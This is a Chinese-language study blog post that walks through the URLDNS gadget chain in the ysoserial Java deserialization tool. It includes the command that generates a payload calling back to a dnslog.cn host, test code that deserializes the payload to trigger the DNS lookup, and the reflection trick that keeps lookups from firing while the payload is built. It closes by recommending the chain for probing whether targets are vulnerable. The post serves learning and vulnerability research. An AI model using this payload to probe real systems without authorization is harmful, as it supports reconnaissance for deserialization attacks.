作为 ysoserial 中最简单链,这里简单记录学习一下
 

首先使用ysoserial生成urldns的探测类型

 
首先先去 dnslog.cn 获取一个url
 
Yso中的URLDNS分析学习

 
 

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS "http://pk3q64.dnslog.cn" > Test.txt
 
 
查看生成的文件
 
Yso中的URLDNS分析学习
 
Yso中的URLDNS分析学习
 
Java反序列化后的前几个字节就是 ac ed
 
这其实是一个序列化后的对象,这里我们将它反序列化看一下
 

import java.io.FileInputStream;
import java.io.ObjectInputStream;

public class DnsTest {
    public static void main(String[] args) throws Exception{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("/Volumes/DATA/test/java/test.txt"));

        Object test = ois.readObject();
        System.out.println(test);
    }
}

 
我们将这个反序列化了一下
 
随即我们就收到了DNS查询的记录
 
Yso中的URLDNS分析学习

 
这是为什么呢
 
接下来分析一下
 

简单的观察一下ysoserial

 
我们刚才生成一个Payload使用的是类似于 java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS "http://pk3q64.dnslog.cn" > Test.txt 的命令
 
我们分析一下干了什么吧
 
首先下载 ysoserial 项目
 
https://github.com/frohoff/ysoserial
 
生成Payload的类在 GeneratePayload.java
 
Yso中的URLDNS分析学习

 
首先检查我们传入的参数是否正确,然后将我们调用的payload放入 payloadType,参数放入 command 例如上文我们调用的是 URLDNS 参数是我们的url
 
Yso中的URLDNS分析学习

 
之后将我们的payload传入 Utils.getPayloadClass 中,这个是作者自己实现的一个工具类,我们传入payload,根据反射获取到类的 Class ,然后判断是否为空
 
其中Payload都放在 payloads 文件夹下
 

Yso中的URLDNS分析学习

 
我们这里面调用的就是 URLDNS
 
Yso中的URLDNS分析学习

 
之后根据 Class 获取到类的实例,然后向 getObject 方法中传入我们的参数,将返回的对象序列化输出,我们后面用 > test.txt 就是把序列化的数据重定向到文件中
 
其中 getObject 的实现如下
 
Yso中的URLDNS分析学习

 
这个就是 ysoserial 的简单工作原理,其他的也类似
 

分析

 
DNSURL 反序列化的链为

HashMap.readObject()
HashMap.putVal()
HashMap.hash()
URL.hashCode()
URLStreamHandler.hashCode()
URLStreamHandler.getHostAddress()

首先序列化点在 HashMap的 readObject 方法(因为实现了Serializable接口)
 
Yso中的URLDNS分析学习

 
readObject 调用了 putVal方法,且参数里调用了 HashMap的hash方法
 
Yso中的URLDNS分析学习

继续跟进
 
 
Yso中的URLDNS分析学习

 
因为HashMap里面的 key 与 Value 是一个对应的关系,所以看看 ysoserial传入的 key 是什么吧
Yso中的URLDNS分析学习

 
显然传入的 keyURL
 
因此是调用了 URL 中的 hashCode方法,跟进看一下
 
Yso中的URLDNS分析学习

 
hashcode 的值为 -1 则调用 handler.hashcode 方法
 
其实这个值默认就是 -1
 
Yso中的URLDNS分析学习

 
yso中也是用反射将其强制设置为 -1
 
Yso中的URLDNS分析学习

 
调用的 hander.hashCode 其实也就是我们传入的 hander
 
Yso中的URLDNS分析学习

 
URL 的构造方法中将其初始化为我们传入的
 
Yso中的URLDNS分析学习

 
ysoserial 中的 SilentURLStreamHandler 其实就是 URLStreamHandler 的子类(为了程序的健壮性,后面有解释)
 
所以 handler.hashCode(this) 其实就是调用的 URLStreamHandler.hashCode(this),我们跟进一下
 
Yso中的URLDNS分析学习

 
这里面将 u 传入 getHostAddress
 
跟进getHostAddress
 
Yso中的URLDNS分析学习
 
其中将 u.getHost() 的结果放入 InetAddress.getByName 此函数将是根据主机名获取对应ip,相当于发出一次dnslog请求
 
我们查看一下 URL.getHost()
 
Yso中的URLDNS分析学习

 
返回的是 host,而这个值已经在我们初始化 URL 的时候就被设置了(设置为我们一开始传入的url)
 
因此一套简单的流程就出来了
 

后续思考

 
我们查看一下HashMap的 put 方法看看
 
Yso中的URLDNS分析学习

 
发现也调用了 hash方法
Yso中的URLDNS分析学习

 
那这样我们利用 ysoserial 生成 POC的时候,也不是会有dns请求吗?
 
Yso中的URLDNS分析学习
 
 
我们测试一下
 

import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.net.URL;
import java.util.HashMap;

public class DnsTest {
    /*public static void main(String[] args) throws Exception{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("/Volumes/DATA/test/java/test.txt"));
        Object test = ois.readObject();
        System.out.println(test);
    }*/
    public static void main(String[] args) throws Exception{
        HashMap test = new HashMap();
        URL url = new URL("http://s2i0ku.dnslog.cn");
        test.put(url,233);
    }
}

 
Yso中的URLDNS分析学习
 
确实会产生很多请求
 

 
有个方法就是通过反射修改 hashCode的值(将URL的 hashCode修改为非 -1 就不会调用到了)
 

import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class DnsTest {
    /*public static void main(String[] args) throws Exception{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("/Volumes/DATA/test/java/test.txt"));
        Object test = ois.readObject();
        System.out.println(test);
    }*/
    public static void main(String[] args) throws Exception{
        HashMap test = new HashMap();
        URL url = new URL("http://x5221n.dnslog.cn\n");
        Field justhash = Class.forName("java.net.URL").getDeclaredField("hashCode");
        justhash.setAccessible(true);
        justhash.set(url,123);
        test.put(url,233);
    }
}

 
Yso中的URLDNS分析学习

 
那么 URLDNS 呢
 
Yso中的URLDNS分析学习

 
也没有产生请求
 
原因在这个
Yso中的URLDNS分析学习

 
这个 SilentURLStreamHandler 继承了 URLStreamHandler
 
重写了里面的 openConnectiongetHostAddress
 
Yso中的URLDNS分析学习

 
因此在调用 put 方法的时候不会触发 dns 查询

那这样我们反序列化的时候不是也因为重写了方法而不能进行 dns 查询吗?
 

原因是因为 URL 里面的 handler 设置的是 transient
 
Yso中的URLDNS分析学习

 
因为transient修饰符无法被序列化,所以虽然它最后是没执行dns请求,但是在反序列化的时候还是会执行dns请求!
 
简单测试一下
 
User.java
 

package YsoStudent;

import java.io.Serializable;

public class User implements Serializable {
    private  int age=13;
    private transient  String name;
    public int getAge{
        return age;
    }
    public String getName{
        return name;
    }
    public void setAge(int age)
    {
        this.age=age;
    }
    public void  setName(String name)
    {
        this.name=name;
    }
    @Override
    public String toString() {
        return "User{" +
                "age="+age+",name="+name+"}";
    }
}

 

package YsoStudent;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;

public class Test {
    public static void main(String[] args) throws Exception {
        SerializableUser();
        UnSerializableUser();
    }
    private  static  void SerializableUser() throws  Exception{
        User user = new User();
        user.setAge(16);
        user.setName("Mikasa");
        //        ObjectOutputStream obj=new ObjectOutputStream(new FileOutputStream("/Users/maniac/Desktop/java/unSerializableDemo/test1.ser"));
        ObjectOutputStream obj = new ObjectOutputStream(new FileOutputStream("/Users/mikasa/Desktop/tese.txt"));
        obj.writeObject(user);
        obj.close();
        System.out.println("原数据为"+user);
    }
    private  static  void UnSerializableUser()  throws  Exception{
        ObjectInputStream test = new ObjectInputStream(new FileInputStream("/Users/mikasa/Desktop/tese.txt"));
        User user = (User) test.readObject();
        System.out.println("反序列化结果是:"+user);
    }
}

 
Yso中的URLDNS分析学习

 
可以看见 name 属性未被反序列化,还是原来的值(为赋值前 为 null)
 

总结

 
虽然 URLDNS 不能Getshell,但是可以帮助我们探测目标是否存在漏洞等,写POC或者扫描器的时候挺适用的
 

相关文章: